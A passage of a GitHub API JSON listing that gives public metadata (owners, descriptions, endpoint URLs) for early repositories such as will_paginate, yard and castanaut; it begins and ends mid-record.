jQuery","fork":true,"url":"https://api.github.com/repos/rmanalan/facebox","forks_url":"https://api.github.com/repos/rmanalan/facebox/forks","keys_url":"https://api.github.com/repos/rmanalan/facebox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rmanalan/facebox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rmanalan/facebox/teams","hooks_url":"https://api.github.com/repos/rmanalan/facebox/hooks","issue_events_url":"https://api.github.com/repos/rmanalan/facebox/issues/events{/number}","events_url":"https://api.github.com/repos/rmanalan/facebox/events","assignees_url":"https://api.github.com/repos/rmanalan/facebox/assignees{/user}","branches_url":"https://api.github.com/repos/rmanalan/facebox/branches{/branch}","tags_url":"https://api.github.com/repos/rmanalan/facebox/tags","blobs_url":"https://api.github.com/repos/rmanalan/facebox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rmanalan/facebox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rmanalan/facebox/git/refs{/sha}","trees_url":"https://api.github.com/repos/rmanalan/facebox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rmanalan/facebox/statuses/{sha}","languages_url":"https://api.github.com/repos/rmanalan/facebox/languages","stargazers_url":"https://api.github.com/repos/rmanalan/facebox/stargazers","contributors_url":"https://api.github.com/repos/rmanalan/facebox/contributors","subscribers_url":"https://api.github.com/repos/rmanalan/facebox/subscribers","subscription_url":"https://api.github.com/repos/rmanalan/facebox/subscription","commits_url":"https://api.github.com/repos/rmanalan/facebox/commits{/sha}","git_commits_url":"https://api.github.com/repos/rmanalan/facebox/git/commits{/sha}","comments_url":"https://api.github.com/repos/rmanalan/facebox/comments{/number}","issue_comment_url":"https://api.github.com/repos/rmanalan/facebox/issues/comments/{number}","contents_url":"https://api.github.com/repos/rmanalan/facebox/contents/{+path}","compare_url":"https://api.github.com/repos/rmanalan/facebox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rmanalan/facebox/merges","archive_url":"https://api.github.com/repos/rmanalan/facebox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rmanalan/facebox/downloads","issues_url":"https://api.github.com/repos/rmanalan/facebox/issues{/number}","pulls_url":"https://api.github.com/repos/rmanalan/facebox/pulls{/number}","milestones_url":"https://api.github.com/repos/rmanalan/facebox/milestones{/number}","notifications_url":"https://api.github.com/repos/rmanalan/facebox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rmanalan/facebox/labels{/name}"},{"id":1220,"name":"gcbot","full_name":"halorgium/gcbot","owner":{"login":"halorgium","id":263,"avatar_url":"https://1.gravatar.com/avatar/3200c5348a7c08c2f20fdaceac6804b0?d=https%3A%2F%2Fidenticons.github.com%2F8c19f571e251e61cb8dd3612f26d5ecf.png","gravatar_id":"3200c5348a7c08c2f20fdaceac6804b0","url":"https://api.github.com/users/halorgium","html_url":"https://github.com/halorgium","followers_url":"https://api.github.com/users/halorgium/followers","following_url":"https://api.github.com/users/halorgium/following{/other_user}","gists_url":"https://api.github.com/users/halorgium/gists{/gist_id}","starred_url":"https://api.github.com/users/halorgium/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/halorgium/subscriptions","organizations_url":"https://api.github.com/users/halorgium/orgs","repos_url":"https://api.github.com/users/halorgium/repos","events_url":"https://api.github.com/users/halorgium/events{/privacy}","received_events_url":"https://api.github.com/users/halorgium/received_events","type":"User"},"private":false,"html_url":"https://github.com/halorgium/gcbot","description":"","fork":false,"url":"https://api.github.com/repos/halorgium/gcbot","forks_url":"https://api.github.com/repos/halorgium/gcbot/forks","keys_url":"https://api.github.com/repos/halorgium/gcbot/keys{/key_id}","collaborators_url":"https://api.github.com/repos/halorgium/gcbot/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/halorgium/gcbot/teams","hooks_url":"https://api.github.com/repos/halorgium/gcbot/hooks","issue_events_url":"https://api.github.com/repos/halorgium/gcbot/issues/events{/number}","events_url":"https://api.github.com/repos/halorgium/gcbot/events","assignees_url":"https://api.github.com/repos/halorgium/gcbot/assignees{/user}","branches_url":"https://api.github.com/repos/halorgium/gcbot/branches{/branch}","tags_url":"https://api.github.com/repos/halorgium/gcbot/tags","blobs_url":"https://api.github.com/repos/halorgium/gcbot/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/halorgium/gcbot/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/halorgium/gcbot/git/refs{/sha}","trees_url":"https://api.github.com/repos/halorgium/gcbot/git/trees{/sha}","statuses_url":"https://api.github.com/repos/halorgium/gcbot/statuses/{sha}","languages_url":"https://api.github.com/repos/halorgium/gcbot/languages","stargazers_url":"https://api.github.com/repos/halorgium/gcbot/stargazers","contributors_url":"https://api.github.com/repos/halorgium/gcbot/contributors","subscribers_url":"https://api.github.com/repos/halorgium/gcbot/subscribers","subscription_url":"https://api.github.com/repos/halorgium/gcbot/subscription","commits_url":"https://api.github.com/repos/halorgium/gcbot/commits{/sha}","git_commits_url":"https://api.github.com/repos/halorgium/gcbot/git/commits{/sha}","comments_url":"https://api.github.com/repos/halorgium/gcbot/comments{/number}","issue_comment_url":"https://api.github.com/repos/halorgium/gcbot/issues/comments/{number}","contents_url":"https://api.github.com/repos/halorgium/gcbot/contents/{+path}","compare_url":"https://api.github.com/repos/halorgium/gcbot/compare/{base}...{head}","merges_url":"https://api.github.com/repos/halorgium/gcbot/merges","archive_url":"https://api.github.com/repos/halorgium/gcbot/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/halorgium/gcbot/downloads","issues_url":"https://api.github.com/repos/halorgium/gcbot/issues{/number}","pulls_url":"https://api.github.com/repos/halorgium/gcbot/pulls{/number}","milestones_url":"https://api.github.com/repos/halorgium/gcbot/milestones{/number}","notifications_url":"https://api.github.com/repos/halorgium/gcbot/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/halorgium/gcbot/labels{/name}"},{"id":1227,"name":"will_paginate","full_name":"mislav/will_paginate","owner":{"login":"mislav","id":887,"avatar_url":"https://0.gravatar.com/avatar/8f93a872e399bc1353cc8d4e791d5401?d=https%3A%2F%2Fidenticons.github.com%2F7ce3284b743aefde80ffd9aec500e085.png","gravatar_id":"8f93a872e399bc1353cc8d4e791d5401","url":"https://api.github.com/users/mislav","html_url":"https://github.com/mislav","followers_url":"https://api.github.com/users/mislav/followers","following_url":"https://api.github.com/users/mislav/following{/other_user}","gists_url":"https://api.github.com/users/mislav/gists{/gist_id}","starred_url":"https://api.github.com/users/mislav/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mislav/subscriptions","organizations_url":"https://api.github.com/users/mislav/orgs","repos_url":"https://api.github.com/users/mislav/repos","events_url":"https://api.github.com/users/mislav/events{/privacy}","received_events_url":"https://api.github.com/users/mislav/received_events","type":"User"},"private":false,"html_url":"https://github.com/mislav/will_paginate","description":"Pagination library for Rails 3, Sinatra, Merb, DataMapper, and more","fork":false,"url":"https://api.github.com/repos/mislav/will_paginate","forks_url":"https://api.github.com/repos/mislav/will_paginate/forks","keys_url":"https://api.github.com/repos/mislav/will_paginate/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mislav/will_paginate/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mislav/will_paginate/teams","hooks_url":"https://api.github.com/repos/mislav/will_paginate/hooks","issue_events_url":"https://api.github.com/repos/mislav/will_paginate/issues/events{/number}","events_url":"https://api.github.com/repos/mislav/will_paginate/events","assignees_url":"https://api.github.com/repos/mislav/will_paginate/assignees{/user}","branches_url":"https://api.github.com/repos/mislav/will_paginate/branches{/branch}","tags_url":"https://api.github.com/repos/mislav/will_paginate/tags","blobs_url":"https://api.github.com/repos/mislav/will_paginate/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mislav/will_paginate/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mislav/will_paginate/git/refs{/sha}","trees_url":"https://api.github.com/repos/mislav/will_paginate/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mislav/will_paginate/statuses/{sha}","languages_url":"https://api.github.com/repos/mislav/will_paginate/languages","stargazers_url":"https://api.github.com/repos/mislav/will_paginate/stargazers","contributors_url":"https://api.github.com/repos/mislav/will_paginate/contributors","subscribers_url":"https://api.github.com/repos/mislav/will_paginate/subscribers","subscription_url":"https://api.github.com/repos/mislav/will_paginate/subscription","commits_url":"https://api.github.com/repos/mislav/will_paginate/commits{/sha}","git_commits_url":"https://api.github.com/repos/mislav/will_paginate/git/commits{/sha}","comments_url":"https://api.github.com/repos/mislav/will_paginate/comments{/number}","issue_comment_url":"https://api.github.com/repos/mislav/will_paginate/issues/comments/{number}","contents_url":"https://api.github.com/repos/mislav/will_paginate/contents/{+path}","compare_url":"https://api.github.com/repos/mislav/will_paginate/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mislav/will_paginate/merges","archive_url":"https://api.github.com/repos/mislav/will_paginate/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mislav/will_paginate/downloads","issues_url":"https://api.github.com/repos/mislav/will_paginate/issues{/number}","pulls_url":"https://api.github.com/repos/mislav/will_paginate/pulls{/number}","milestones_url":"https://api.github.com/repos/mislav/will_paginate/milestones{/number}","notifications_url":"https://api.github.com/repos/mislav/will_paginate/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mislav/will_paginate/labels{/name}"},{"id":1233,"name":"socialgraph-viewer","full_name":"rmanalan/socialgraph-viewer","owner":{"login":"rmanalan","id":549,"avatar_url":"https://0.gravatar.com/avatar/78c939ec0390fe89d78cdbf85e8e6856?d=https%3A%2F%2Fidenticons.github.com%2Fccb1d45fb76f7c5a0bf619f979c6cf36.png","gravatar_id":"78c939ec0390fe89d78cdbf85e8e6856","url":"https://api.github.com/users/rmanalan","html_url":"https://github.com/rmanalan","followers_url":"https://api.github.com/users/rmanalan/followers","following_url":"https://api.github.com/users/rmanalan/following{/other_user}","gists_url":"https://api.github.com/users/rmanalan/gists{/gist_id}","starred_url":"https://api.github.com/users/rmanalan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rmanalan/subscriptions","organizations_url":"https://api.github.com/users/rmanalan/orgs","repos_url":"https://api.github.com/users/rmanalan/repos","events_url":"https://api.github.com/users/rmanalan/events{/privacy}","received_events_url":"https://api.github.com/users/rmanalan/received_events","type":"User"},"private":false,"html_url":"https://github.com/rmanalan/socialgraph-viewer","description":"Simple social graph javascript viewer. Uses the Google Social Graph API","fork":false,"url":"https://api.github.com/repos/rmanalan/socialgraph-viewer","forks_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/forks","keys_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/teams","hooks_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/hooks","issue_events_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/issues/events{/number}","events_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/events","assignees_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/assignees{/user}","branches_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/branches{/branch}","tags_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/tags","blobs_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/git/refs{/sha}","trees_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/statuses/{sha}","languages_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/languages","stargazers_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/stargazers","contributors_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/contributors","subscribers_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/subscribers","subscription_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/subscription","commits_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/commits{/sha}","git_commits_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/git/commits{/sha}","comments_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/comments{/number}","issue_comment_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/issues/comments/{number}","contents_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/contents/{+path}","compare_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/merges","archive_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/downloads","issues_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/issues{/number}","pulls_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/pulls{/number}","milestones_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/milestones{/number}","notifications_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/labels{/name}"},{"id":1234,"name":"ruvi","full_name":"lypanov/ruvi","owner":{"login":"lypanov","id":311,"avatar_url":"https://2.gravatar.com/avatar/fde764988033c802599aa33705dce509?d=https%3A%2F%2Fidenticons.github.com%2F9dfcd5e558dfa04aaf37f137a1d9d3e5.png","gravatar_id":"fde764988033c802599aa33705dce509","url":"https://api.github.com/users/lypanov","html_url":"https://github.com/lypanov","followers_url":"https://api.github.com/users/lypanov/followers","following_url":"https://api.github.com/users/lypanov/following{/other_user}","gists_url":"https://api.github.com/users/lypanov/gists{/gist_id}","starred_url":"https://api.github.com/users/lypanov/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lypanov/subscriptions","organizations_url":"https://api.github.com/users/lypanov/orgs","repos_url":"https://api.github.com/users/lypanov/repos","events_url":"https://api.github.com/users/lypanov/events{/privacy}","received_events_url":"https://api.github.com/users/lypanov/received_events","type":"User"},"private":false,"html_url":"https://github.com/lypanov/ruvi","description":"vi wannebe written in ruby","fork":false,"url":"https://api.github.com/repos/lypanov/ruvi","forks_url":"https://api.github.com/repos/lypanov/ruvi/forks","keys_url":"https://api.github.com/repos/lypanov/ruvi/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lypanov/ruvi/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lypanov/ruvi/teams","hooks_url":"https://api.github.com/repos/lypanov/ruvi/hooks","issue_events_url":"https://api.github.com/repos/lypanov/ruvi/issues/events{/number}","events_url":"https://api.github.com/repos/lypanov/ruvi/events","assignees_url":"https://api.github.com/repos/lypanov/ruvi/assignees{/user}","branches_url":"https://api.github.com/repos/lypanov/ruvi/branches{/branch}","tags_url":"https://api.github.com/repos/lypanov/ruvi/tags","blobs_url":"https://api.github.com/repos/lypanov/ruvi/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lypanov/ruvi/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lypanov/ruvi/git/refs{/sha}","trees_url":"https://api.github.com/repos/lypanov/ruvi/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lypanov/ruvi/statuses/{sha}","languages_url":"https://api.github.com/repos/lypanov/ruvi/languages","stargazers_url":"https://api.github.com/repos/lypanov/ruvi/stargazers","contributors_url":"https://api.github.com/repos/lypanov/ruvi/contributors","subscribers_url":"https://api.github.com/repos/lypanov/ruvi/subscribers","subscription_url":"https://api.github.com/repos/lypanov/ruvi/subscription","commits_url":"https://api.github.com/repos/lypanov/ruvi/commits{/sha}","git_commits_url":"https://api.github.com/repos/lypanov/ruvi/git/commits{/sha}","comments_url":"https://api.github.com/repos/lypanov/ruvi/comments{/number}","issue_comment_url":"https://api.github.com/repos/lypanov/ruvi/issues/comments/{number}","contents_url":"https://api.github.com/repos/lypanov/ruvi/contents/{+path}","compare_url":"https://api.github.com/repos/lypanov/ruvi/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lypanov/ruvi/merges","archive_url":"https://api.github.com/repos/lypanov/ruvi/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lypanov/ruvi/downloads","issues_url":"https://api.github.com/repos/lypanov/ruvi/issues{/number}","pulls_url":"https://api.github.com/repos/lypanov/ruvi/pulls{/number}","milestones_url":"https://api.github.com/repos/lypanov/ruvi/milestones{/number}","notifications_url":"https://api.github.com/repos/lypanov/ruvi/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lypanov/ruvi/labels{/name}"},{"id":1241,"name":"soco","full_name":"caius/soco","owner":{"login":"caius","id":696,"avatar_url":"https://0.gravatar.com/avatar/ad072c8b8e23a18a49eddb6517490fa1?d=https%3A%2F%2Fidenticons.github.com%2F0cb929eae7a499e50248a3a78f7acfc7.png","gravatar_id":"ad072c8b8e23a18a49eddb6517490fa1","url":"https://api.github.com/users/caius","html_url":"https://github.com/caius","followers_url":"https://api.github.com/users/caius/followers","following_url":"https://api.github.com/users/caius/following{/other_user}","gists_url":"https://api.github.com/users/caius/gists{/gist_id}","starred_url":"https://api.github.com/users/caius/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/caius/subscriptions","organizations_url":"https://api.github.com/users/caius/orgs","repos_url":"https://api.github.com/users/caius/repos","events_url":"https://api.github.com/users/caius/events{/privacy}","received_events_url":"https://api.github.com/users/caius/received_events","type":"User"},"private":false,"html_url":"https://github.com/caius/soco","description":"A static file dynamically generated website backend","fork":false,"url":"https://api.github.com/repos/caius/soco","forks_url":"https://api.github.com/repos/caius/soco/forks","keys_url":"https://api.github.com/repos/caius/soco/keys{/key_id}","collaborators_url":"https://api.github.com/repos/caius/soco/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/caius/soco/teams","hooks_url":"https://api.github.com/repos/caius/soco/hooks","issue_events_url":"https://api.github.com/repos/caius/soco/issues/events{/number}","events_url":"https://api.github.com/repos/caius/soco/events","assignees_url":"https://api.github.com/repos/caius/soco/assignees{/user}","branches_url":"https://api.github.com/repos/caius/soco/branches{/branch}","tags_url":"https://api.github.com/repos/caius/soco/tags","blobs_url":"https://api.github.com/repos/caius/soco/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/caius/soco/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/caius/soco/git/refs{/sha}","trees_url":"https://api.github.com/repos/caius/soco/git/trees{/sha}","statuses_url":"https://api.github.com/repos/caius/soco/statuses/{sha}","languages_url":"https://api.github.com/repos/caius/soco/languages","stargazers_url":"https://api.github.com/repos/caius/soco/stargazers","contributors_url":"https://api.github.com/repos/caius/soco/contributors","subscribers_url":"https://api.github.com/repos/caius/soco/subscribers","subscription_url":"https://api.github.com/repos/caius/soco/subscription","commits_url":"https://api.github.com/repos/caius/soco/commits{/sha}","git_commits_url":"https://api.github.com/repos/caius/soco/git/commits{/sha}","comments_url":"https://api.github.com/repos/caius/soco/comments{/number}","issue_comment_url":"https://api.github.com/repos/caius/soco/issues/comments/{number}","contents_url":"https://api.github.com/repos/caius/soco/contents/{+path}","compare_url":"https://api.github.com/repos/caius/soco/compare/{base}...{head}","merges_url":"https://api.github.com/repos/caius/soco/merges","archive_url":"https://api.github.com/repos/caius/soco/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/caius/soco/downloads","issues_url":"https://api.github.com/repos/caius/soco/issues{/number}","pulls_url":"https://api.github.com/repos/caius/soco/pulls{/number}","milestones_url":"https://api.github.com/repos/caius/soco/milestones{/number}","notifications_url":"https://api.github.com/repos/caius/soco/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/caius/soco/labels{/name}"},{"id":1249,"name":"ruby-gsl","full_name":"codahale/ruby-gsl","owner":{"login":"codahale","id":207,"avatar_url":"https://2.gravatar.com/avatar/87206f3bf53d403e16ec023c56e904c5?d=https%3A%2F%2Fidenticons.github.com%2F69adc1e107f7f7d035d7baf04342e1ca.png","gravatar_id":"87206f3bf53d403e16ec023c56e904c5","url":"https://api.github.com/users/codahale","html_url":"https://github.com/codahale","followers_url":"https://api.github.com/users/codahale/followers","following_url":"https://api.github.com/users/codahale/following{/other_user}","gists_url":"https://api.github.com/users/codahale/gists{/gist_id}","starred_url":"https://api.github.com/users/codahale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/codahale/subscriptions","organizations_url":"https://api.github.com/users/codahale/orgs","repos_url":"https://api.github.com/users/codahale/repos","events_url":"https://api.github.com/users/codahale/events{/privacy}","received_events_url":"https://api.github.com/users/codahale/received_events","type":"User"},"private":false,"html_url":"https://github.com/codahale/ruby-gsl","description":"[ABANDONED] New development on the Ruby bindings for the GNU Scientific Library","fork":false,"url":"https://api.github.com/repos/codahale/ruby-gsl","forks_url":"https://api.github.com/repos/codahale/ruby-gsl/forks","keys_url":"https://api.github.com/repos/codahale/ruby-gsl/keys{/key_id}","collaborators_url":"https://api.github.com/repos/codahale/ruby-gsl/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/codahale/ruby-gsl/teams","hooks_url":"https://api.github.com/repos/codahale/ruby-gsl/hooks","issue_events_url":"https://api.github.com/repos/codahale/ruby-gsl/issues/events{/number}","events_url":"https://api.github.com/repos/codahale/ruby-gsl/events","assignees_url":"https://api.github.com/repos/codahale/ruby-gsl/assignees{/user}","branches_url":"https://api.github.com/repos/codahale/ruby-gsl/branches{/branch}","tags_url":"https://api.github.com/repos/codahale/ruby-gsl/tags","blobs_url":"https://api.github.com/repos/codahale/ruby-gsl/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/codahale/ruby-gsl/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/codahale/ruby-gsl/git/refs{/sha}","trees_url":"https://api.github.com/repos/codahale/ruby-gsl/git/trees{/sha}","statuses_url":"https://api.github.com/repos/codahale/ruby-gsl/statuses/{sha}","languages_url":"https://api.github.com/repos/codahale/ruby-gsl/languages","stargazers_url":"https://api.github.com/repos/codahale/ruby-gsl/stargazers","contributors_url":"https://api.github.com/repos/codahale/ruby-gsl/contributors","subscribers_url":"https://api.github.com/repos/codahale/ruby-gsl/subscribers","subscription_url":"https://api.github.com/repos/codahale/ruby-gsl/subscription","commits_url":"https://api.github.com/repos/codahale/ruby-gsl/commits{/sha}","git_commits_url":"https://api.github.com/repos/codahale/ruby-gsl/git/commits{/sha}","comments_url":"https://api.github.com/repos/codahale/ruby-gsl/comments{/number}","issue_comment_url":"https://api.github.com/repos/codahale/ruby-gsl/issues/comments/{number}","contents_url":"https://api.github.com/repos/codahale/ruby-gsl/contents/{+path}","compare_url":"https://api.github.com/repos/codahale/ruby-gsl/compare/{base}...{head}","merges_url":"https://api.github.com/repos/codahale/ruby-gsl/merges","archive_url":"https://api.github.com/repos/codahale/ruby-gsl/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/codahale/ruby-gsl/downloads","issues_url":"https://api.github.com/repos/codahale/ruby-gsl/issues{/number}","pulls_url":"https://api.github.com/repos/codahale/ruby-gsl/pulls{/number}","milestones_url":"https://api.github.com/repos/codahale/ruby-gsl/milestones{/number}","notifications_url":"https://api.github.com/repos/codahale/ruby-gsl/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/codahale/ruby-gsl/labels{/name}"},{"id":1252,"name":"yard","full_name":"lsegal/yard","owner":{"login":"lsegal","id":686,"avatar_url":"https://0.gravatar.com/avatar/510395998b7e929a8f48dc8cdb087379?d=https%3A%2F%2Fidenticons.github.com%2F109a0ca3bc27f3e96597370d5c8cf03d.png","gravatar_id":"510395998b7e929a8f48dc8cdb087379","url":"https://api.github.com/users/lsegal","html_url":"https://github.com/lsegal","followers_url":"https://api.github.com/users/lsegal/followers","following_url":"https://api.github.com/users/lsegal/following{/other_user}","gists_url":"https://api.github.com/users/lsegal/gists{/gist_id}","starred_url":"https://api.github.com/users/lsegal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lsegal/subscriptions","organizations_url":"https://api.github.com/users/lsegal/orgs","repos_url":"https://api.github.com/users/lsegal/repos","events_url":"https://api.github.com/users/lsegal/events{/privacy}","received_events_url":"https://api.github.com/users/lsegal/received_events","type":"User"},"private":false,"html_url":"https://github.com/lsegal/yard","description":"YARD is a Ruby Documentation tool. The Y stands for \"Yay!\"","fork":false,"url":"https://api.github.com/repos/lsegal/yard","forks_url":"https://api.github.com/repos/lsegal/yard/forks","keys_url":"https://api.github.com/repos/lsegal/yard/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lsegal/yard/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lsegal/yard/teams","hooks_url":"https://api.github.com/repos/lsegal/yard/hooks","issue_events_url":"https://api.github.com/repos/lsegal/yard/issues/events{/number}","events_url":"https://api.github.com/repos/lsegal/yard/events","assignees_url":"https://api.github.com/repos/lsegal/yard/assignees{/user}","branches_url":"https://api.github.com/repos/lsegal/yard/branches{/branch}","tags_url":"https://api.github.com/repos/lsegal/yard/tags","blobs_url":"https://api.github.com/repos/lsegal/yard/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lsegal/yard/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lsegal/yard/git/refs{/sha}","trees_url":"https://api.github.com/repos/lsegal/yard/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lsegal/yard/statuses/{sha}","languages_url":"https://api.github.com/repos/lsegal/yard/languages","stargazers_url":"https://api.github.com/repos/lsegal/yard/stargazers","contributors_url":"https://api.github.com/repos/lsegal/yard/contributors","subscribers_url":"https://api.github.com/repos/lsegal/yard/subscribers","subscription_url":"https://api.github.com/repos/lsegal/yard/subscription","commits_url":"https://api.github.com/repos/lsegal/yard/commits{/sha}","git_commits_url":"https://api.github.com/repos/lsegal/yard/git/commits{/sha}","comments_url":"https://api.github.com/repos/lsegal/yard/comments{/number}","issue_comment_url":"https://api.github.com/repos/lsegal/yard/issues/comments/{number}","contents_url":"https://api.github.com/repos/lsegal/yard/contents/{+path}","compare_url":"https://api.github.com/repos/lsegal/yard/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lsegal/yard/merges","archive_url":"https://api.github.com/repos/lsegal/yard/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lsegal/yard/downloads","issues_url":"https://api.github.com/repos/lsegal/yard/issues{/number}","pulls_url":"https://api.github.com/repos/lsegal/yard/pulls{/number}","milestones_url":"https://api.github.com/repos/lsegal/yard/milestones{/number}","notifications_url":"https://api.github.com/repos/lsegal/yard/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lsegal/yard/labels{/name}"},{"id":1253,"name":"castanaut","full_name":"joseph/castanaut","owner":{"login":"joseph","id":900,"avatar_url":"https://0.gravatar.com/avatar/dba7eb74aae18f1045ac33579736949b?d=https%3A%2F%2Fidenticons.github.com%2Facf4b89d3d503d8252c9c4ba75ddbf6d.png","gravatar_id":"dba7eb74aae18f1045ac33579736949b","url":"https://api.github.com/users/joseph","html_url":"https://github.com/joseph","followers_url":"https://api.github.com/users/joseph/followers","following_url":"https://api.github.com/users/joseph/following{/other_user}","gists_url":"https://api.github.com/users/joseph/gists{/gist_id}","starred_url":"https://api.github.com/users/joseph/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joseph/subscriptions","organizations_url":"https://api.github.com/users/joseph/orgs","repos_url":"https://api.github.com/users/joseph/repos","events_url":"https://api.github.com/users/joseph/events{/privacy}","received_events_url":"https://api.github.com/users/joseph/received_events","type":"User"},"private":false,"html_url":"https://github.com/joseph/castanaut","description":" Castanaut lets you write executable scripts for your screencasts. With a simple dictionary of stage directions, you can create complex interactions with a variety of applications.","fork":false,"url":"https://api.github.com/repos/joseph/castanaut","forks_url":"https://api.github.com/repos/joseph/castanaut/forks","keys_url":"https://api.github.com/repos/joseph/castanaut/keys{/key_id}","collaborators_url":"https://api.github.com/repos/joseph/castanaut/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/joseph/castanaut/teams","hooks_url":"https://api.github.com/repos/joseph/castanaut/hooks","issue_events_url":"https://api.github.com/repos/joseph/castanaut/issues/events{/number}","events_url":"https://api.github.com/repos/joseph/castanaut/events","assignees_url":"https://api.github.com/repos/joseph/castanaut/assignees{/user}","branches_url":"https://api.github.com/repos/joseph/castanaut/branches{/branch}","tags_url":"https://api.github.com/repos/joseph/castanaut/tags","blobs_url":"https://api.github.com/repos/joseph/castanaut/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/joseph/castanaut/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/joseph/castanaut/git/refs{/sha}","trees_url":"https://api.github.com/repos/joseph/castanaut/git/trees{/sha}","statuses_url":"https://api.github.com/repos/joseph/castanaut/statuses/{sha}","languages_url":"https://api.github.com/repos/joseph/castanaut/languages","stargazers_url":"https://api.github.com/repos/joseph/castanaut/stargazers","contributors_url":"https://api.github.com/repos/joseph/castanaut/contributors","subscribers_url":"https://api.github.com/repos/joseph/castanaut/subscribers","subscription_url":"https://api.github.com/repos/joseph/castanaut/subscription","commits_url":"https://api.github.com/repos/joseph/castanaut/commits{/sha}","git_commits_url":"https://api.github.com/repos/joseph/castanaut/git/commits{/sha}","comments_url":"https://api.github.com/repos/joseph/castanaut/comments{/number}","issue_comment_url":"https://api.github.com/repos/joseph/castanaut/issues/comments/{number}","contents_url":"https://api.github.com/repos/joseph/castanaut/contents/{+path}","compare_url":"https://api.github.com/repos/joseph/castanaut/compare/{base}...{head}","merges_url":"https://api.github.com/repos/joseph/castanaut/merges","archive_url":"https://api.github.com/repos/joseph/castanaut/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/joseph/castanaut/downloads","issues_url":"https://api.github.com/repos/joseph/castanaut/issues{/number}","pulls